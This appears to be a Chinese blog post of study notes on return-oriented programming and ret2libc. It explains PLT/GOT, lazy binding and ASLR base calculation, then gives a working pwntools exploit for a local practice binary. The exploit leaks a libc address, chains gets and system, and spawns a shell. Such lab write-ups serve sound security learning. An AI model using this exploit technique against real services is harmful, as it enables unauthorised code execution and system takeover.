zoukankan      html  css  js  c++  java
  • Pwn_7 ROP (2)

    • 如果不是静态编译,通常不会有int 0x80。意思就是,没有int 0x80 构造的堆栈再好,也无法运行
    • 动态编译会载入整个shared library
    • stack overflow时可以直接构造function调用函数

    有了函数地址,就可以直接拿来调用

    Address = base + offset

    在ASLR(Address Space Layout Randomization)中,每一次的基地址都会改变。每一个程序必然都会用到libc库中的函数 比如说main 函数,就要用到libc中的start_main()函数

    有了这个函数地址,libc中的偏移地址是固定的,一个函数的实际地址也可以知道,

    base addr = address –offset

    Lazy Binding 延迟绑定

    ELF采用了延迟绑定:函数第一次被调用的时候才绑定,如果没有用到则不进行绑定

    PLT

    image80483c0就是plt的地址

     

     

    GOT表(Global offset table)

    全局偏移表

    ELF将GOT表拆成两个表:.got 和 .got.plt

    • .got保存全局变量的地址
    • .got.plt保存函数引用地址

    如果一个程序中使用到了某一个函数,那么一定会对应的有plt地址和.got.plt地址

    image

    0x804a010这个地址对应的值 就是实际地址,只要把这个地址的值打印出来就可以得到了实际地址

    Call Library Function

    gets() #函数地址

    pop1_ret #执行完gets()函数的返回地址,比如pop eax pop ebx..把参数弹出栈

    <buf>  #参数

    system()

    xxx

    <buf>

     

    再比如说 read函数

    read函数地址

    pop3_ret

    第一个变量

    第二个变量

    第三个变量

    system()

    xxx

    <buf>


    Practice 6 ret2lib

    image_libc_start_main这个函数一定会用到

    .got.plt=0x804a024

    写了一段脚本

    exp_3.py

    from pwn import *

    r = remote('127.0.0.1',4000)

    puts_got_plt = 0x804a01c

    r.recvuntil(':')

    r.sendline(str(puts_got_plt))

    r.interactive()

    image执行结果

    找puts函数在libc库中的offset

    ldd ./ret2lib #查看调用了那些库 以及路径

    root@danny-virtual-machine:/home/danny/Desktop/pwn# ldd ./ret2lib
         linux-gate.so.1 =>  (0xf7f7c000)
         libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7da7000)
         /lib/ld-linux.so.2 (0xf7f7e000)

    root@danny-virtual-machine:/home/danny/Desktop/pwn# readelf -a /lib/i386-linux-gnu/libc.so.6 | grep puts@
        205: 0005fca0   464 FUNC    GLOBAL DEFAULT   13 _IO_puts@@GLIBC_2.0
      这个就偏移地址 434: 0005fca0   464 FUNC    WEAK   DEFAULT   13 puts@@GLIBC_2.0
       1182: 0005e720   349 FUNC    WEAK   DEFAULT   13 fputs@@GLIBC_2.0
       1736: 0005e720   349 FUNC    GLOBAL DEFAULT   13 _IO_fputs@@GLIBC_2.0

    如何判断找到的实际地址是正确的?

    实际地址与偏移地址的后3位是相同的,即后1.5个bit,如果找不到这个地址,就可以考虑爆破了

    最终的exp_3.py

    from pwn import *
    r = remote('127.0.0.1',4000)

    puts_got_plt = 0x804a01c

    put_off = 0x0005fca0

    r.recvuntil(':')

    r.sendline(str(puts_got_plt))

    r.recvuntil(':')

    libc_base = int(r.recvuntil(' ').strip(),16) - put_off

    print (hex(libc_base))

    #raw_input('#')
    gets_off = 0x05f3e0
    system_off = 0x003ada0
    gets = libc_base + gets_off
    system = libc_base + system_off
    buf = 0x0804b000 - 30

    rop = [
         gets,
         system,
         buf,
         buf
    ]
    r.recvuntil(':')
    r.sendline('a'*60 + flat(rop))

    sleep(2)
    r.sendline('/bin/shx00')
    r.interactive()


     总结:

    1. 找到某一个函数的.got.plt地址所对应的实际地址的值
    2. 查找该函数的offset 由实际地址-偏移地址获得libc_base地址
    3. 构造rop

    gets()  #函数地址 libc_base + offset    # ldd ./file   获得库路径   #readelf -a 库路径 | grep func@

    system() #函数地址 libc_base + offset

    buf  #寻找可写区域   ./file &得到proc id 然后 cat /proc/func id/maps

    buf

  • 相关阅读:
    boost库
    DISALLOW_COPY_AND_ASSIGN
    汇编语言入门
    gflags
    Segmentation Fault
    ubuntu16.04_cuda9.0_opencv3.4_cudnn_v7_caffe
    make: aarch64-himix100-linux-gcc: Command not found
    gtest
    glog
    [Go]go语言实战-go版本的supervisord编译安装与运行
  • 原文地址:https://www.cnblogs.com/rookieDanny/p/8503493.html
Copyright © 2011-2022 走看看